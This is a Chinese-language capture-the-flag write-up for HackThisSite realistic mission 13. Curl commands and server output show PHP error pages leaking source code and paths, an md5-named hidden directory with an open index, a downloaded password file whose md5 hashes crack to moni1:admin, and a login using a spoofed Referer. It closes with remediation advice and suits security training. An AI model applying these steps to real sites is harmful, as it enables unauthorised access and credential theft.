Challenge
Elbonia’s Elections are coming! Help delay these elections by taking down the main competitor’s site! Be careful though, you get caught, you’ll be wishing you had your soap on a rope…
埃尔博尼亚大选将至,任务是拿下主要竞争对手的站点来拖住选举。入口
https://www.hackthissite.org/missions/realistic/13/是竞争对手 ENRP(Elbonian National Republican Party)的官网,一个 2004 年的静态站被原样复刻成 PHP,导航里有news.php/debates.php/members.php/newsletter.php/mailinglist.php/speeches.php/press.php/economy.php。
Solution
Recon:
- 首页
index.php是站点门面:竞选日程(Debates 2004-09-20 起、Voting 2004-11-13 @ Monotim Squares)加一段新闻摘要。members.php/mailinglist.php/debates.php/economy.php/news.php都是静态内容,没有可利用的参数。 newsletter.php给了一句关键提示:make sure you have the hidden login url and your password handy.目标是一个”隐藏登录 URL”,并且需要口令。- 真正有参数处理的只有两个页面:
speeches.php(POSTspeech→speeches2.php)和press.php(POSTrelease→readpress.php)。两个表单的下拉都只有少量合法值,这类手写拼接的页面在拿到非法参数时通常会打 PHP 报错,而报错会带出源码和路径。
Step 1: 两处报错把源码和目录结构吐出来
先看讲稿分支。speeches.php 的下拉只有 value="1",speech=1 返回 This speech is still being edited, as it had many errors because of our ex-typist;把值换成一个不存在的讲稿名,include() 失败,warning 里带着服务端绝对路径:
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/13/speeches2.php?speech=x"错误页除了站点外框(导航、页脚)之外,正文是下面这些内容(原文照录):
The following speeches have been given already:
SPEECH: x could not be found
Warning[2] include(C:\Program Files\Apache Group\Apache2\ENRP\oldsite\speches.php): failed to open stream: No such file or directoryError on line 18 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php
Warning[2] include(): Failed opening 'C:\Program Files\Apache Group\Apache2\ENRP\oldsite\speches.php' for inclusion (include_path='.:/usr/local/share/pear')Error on line 18 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php
Warning[2] include(C:\Program Files\Apache Group\Apache2\ENRP\21232f297a57a5a743894a0e4a801fc3\speches.php): failed to open stream: No such file or directoryError on line 24 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php
Warning[2] include(): Failed opening 'C:\Program Files\Apache Group\Apache2\ENRP\21232f297a57a5a743894a0e4a801fc3\speches.php' for inclusion (include_path='.:/usr/local/share/pear')Error on line 24 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php
Warning[2] include(C:\Program Files\Apache Group\Apache2\ENRP\admin\passes.php): failed to open stream: No such file or directoryError on line 25 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php
Warning[2] include(): Failed opening 'C:\Program Files\Apache Group\Apache2\ENRP\admin\passes.php' for inclusion (include_path='.:/usr/local/share/pear')Error on line 25 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php观察到的信息:站点根在 C:\Program Files\Apache Group\Apache2\ENRP\,脚本运行在 /www/hackthissite.org/www/missions/realistic/13/;存在 ENRP\oldsite\(旧站备份)、ENRP\admin\,以及一个 32 位十六进制命名的目录 21232f297a57a5a743894a0e4a801fc3。三条 include 串里的 speches.php 拼错了(少一个 e),说明这些是硬编码模板串。
再看新闻稿分支,它泄露得更彻底。press.php 是 POST release 到 readpress.php,直接请求 readpress.php(不给参数)会踩到同一条报错路径,把 readpress.php 的源码片段和数据库错误一起打出来:
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/13/readpress.php"正文段落(原文照录):
MySQL Error: "" row does not exist in table "press_table";
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in C:\Program Files\Apache Group\Apache2\ENRP\readpress.php on line 33
Error in query:
error_reporting(E_ALL);
$service_port = "80";$address = "localhost";
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$in = "GET /speeches/passwords/" . md5('Speeches') . "";$in .= "REFERER: http://ENRP/get_speeches_passwords_referer\n";$in .= "\n\n";$out = '';
socket_write($socket, $in, strlen($in));echo "OK.\n";
include("C:\Program Files\Apache Group\Apache2\htdocs\ENRP\includes\special.php");include("C:\Program Files\Apache Group\Apache2\htdocs\ENRP\includes\footer.php");include("C:\Program Files\Apache Group\Apache2\htdocs\ENRP\includes\arrange.php");?>这一段直接给出了通关路线:站点自己在服务端用 socket 去 GET /speeches/passwords/<某个目录>,目录名是 md5('Speeches'),并且请求时必须带上 REFERER: http://ENRP/get_speeches_passwords_referer。也就是说,/speeches/passwords/ 下面有个用 md5('Speeches') 命名的”受保护”目录。
Step 2: 算出受保护目录名,读出口令文件
按报错里泄露的表达式直接算 md5(注意不是 md5('speeches') 小写,原文是大写 S):
$ printf '%s' Speeches | md5sum7e40c181f9221f9c613adf8bb8136ea8 -拼成 URL 访问,得到的是 Apache 自动目录索引:
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/13/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8/"<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html> <head> <title>Index of /missions/realistic/13/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8</title> </head> <body><h1>Index of /missions/realistic/13/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8</h1> <table> <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr> <tr><th colspan="5"><hr></th></tr><tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/missions/realistic/13/speeches/passwords/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr><tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="passwords.fip">passwords.fip</a></td><td align="right">2013-12-30 05:28 </td><td align="right"> 66 </td><td> </td></tr> <tr><th colspan="5"><hr></th></tr></table></body></html>目录里只有一个 passwords.fip(66 字节,扩展名写成 .fip,和前面 speches.php 一样是这个站的笔误风格)。把它拉下来:
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/13/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8/passwords.fip"7bc35830abab8fced52657d38ea048df:21232f297a57a5a743894a0e4a801fc3两个 32 位十六进制值,用冒号分隔,即 newsletter 中所说的”口令”。
Step 3: 爆破两个 md5,得到用户名和口令
两个值都是弱口令,字典一跑就出(hashcat -m 0 hash.txt rockyou.txt 之类)。这里直接用已知明文回算验证:
$ printf '%s' moni1 | md5sum7bc35830abab8fced52657d38ea048df -
$ printf '%s' admin | md5sum21232f297a57a5a743894a0e4a801fc3 -passwords.fip 的内容(7bc35830abab8fced52657d38ea048df 和 21232f297a57a5a743894a0e4a801fc3,冒号分隔)对应的是 moni1:admin,即用户名 moni1、口令 admin。注意左边那个 7bc35830abab8fced52657d38ea048df 是用户名的哈希(md5('moni1')),它是口令文件里的字段,不是目录名。后面会看到把它当目录名用会 404。
Step 4: 诱饵后台 /13/admin/ 与真正的登录目录
手上有 moni1:admin 之后,直觉会去找后台。/missions/realistic/13/admin/ 确实存在一个登录页,但用这组凭据会被拒:HTS 官方关卡文章与公开 writeup 都记录了错误文案 "admin" does not match password for "moni1"。它是个诱饵:用户名口令都对,但页面不是真的。
线索在 Step 1 的第一处报错里:include 路径中出现过 ENRP\admin\passes.php,还出现过一个 32 位 hex 目录 21232f297a57a5a743894a0e4a801fc3(刚刚算过,它就是 md5('admin'))。作者用的是同一套把戏:把 admin 这个目录名换成它的 md5 当”隐藏”。用状态码验证目录真伪:
$ curl -s -m 15 -o /dev/null -w '%{http_code}\n' -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/"200
$ curl -s -m 15 -o /dev/null -w '%{http_code}\n' -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/13/7bc35830abab8fced52657d38ea048df/"404md5('admin') 那个目录返回 200,md5('moni1') 返回 404:真正的登录目录名是 md5('admin'),不是 md5('moni1')、也不是 md5('Speeches')(后者只用来保护 speeches/passwords/ 那层)。
关键陷阱:诱饵目录下面还有一个 /13/admin/passes.php,专门把想法往”Referer”上引:
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/13/admin/passes.php"Passes need to be reset: send correct HTTP_REFERER to gain access here它不给口令,只提示 HTTP_REFERER,和 Step 1 源码里 REFERER: http://ENRP/get_speeches_passwords_referer 是同一种套路:这一关反复用 Referer 当”门禁”。
Step 5: 哈希目录里的登录表单
哈希目录本身不设防,直接返回一份 234 字节的纯表单页:
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/"<body bgcolor="black" text="White"><form action="login2.php" method="POST"><b>Username: </b><input type="text" name="user"><br /><br /><b>Password: </b><input type="password" name="pass"><br /><input type="submit" value="submit">字段名确认是 user 和 pass(不是 username/password),method=POST,action=login2.php。不带 POST 数据直接 GET 登录脚本,返回的是 HTS 站点外框,关卡内容只有一行拒绝文案:
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/login2.php"<center><b>Incorrect Username/Password</b></center>Step 6: 登录与 completion oracle
把 moni1:admin POST 到 login2.php,同时带上哈希目录自身作为 Referer(这一关的来源检查就是照着 Step 1 源码里那个 REFERER: 头的模式设计的):
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \ -e "https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/" \ --data 'user=<user>&pass=<pass>' \ "https://www.hackthissite.org/missions/realistic/13/21232f297a57a5a743894a0e4a801fc3/login2.php"凭据正确时服务端返回完成页
Vulnerabilities
- PHP warning / 报错回显泄露路径与源码:
speeches2.php的include()失败把 Windows 绝对路径、oldsite/admin内部目录和脚本自身路径全部打印;readpress.php更进一步,把自身源码(含服务端 socket 请求的构造过程)连同数据库错误一起输出。生产环境必须display_errors=Off,warning 只进日志。 - 把 md5 当访问控制:受保护目录名是
md5('Speeches')、登录目录名前缀是md5('admin'),等于把安全性押在”攻击者猜不到原文”上;32 位 hex 目录名本身就是提示,离线字典一击即破。 - 隐藏目录可枚举且无鉴权:
speeches/passwords/<hash>/开了 Apache 目录索引,直接列出并下载passwords.fip;<md5('admin')>/目录不设防地返回登录表单,把爆破面缩到一个已知路径上。 - 口令文件本身不设防:
passwords.fip里就是两个未加盐、无迭代的 md5,等于明文。 - 诱饵式安全:真正的门禁只有
login2.php的凭据校验和一个可伪造的 Referer 检查(admin/passes.php甚至把”send correct HTTP_REFERER”写在了页面上),攻击者只要看穿诱饵就能直达。
修复方向:错误信息统一走日志、不回显任何路径或源码;受保护资源用会话鉴权而不是 md5 目录名;目录索引关闭,口令文件移出 Web 根目录并用加盐哈希存储;删除诱饵页,把所有入口收敛到同一套鉴权逻辑;Referer 只能作为 CSRF 的辅助信号,且必须配合服务端 token。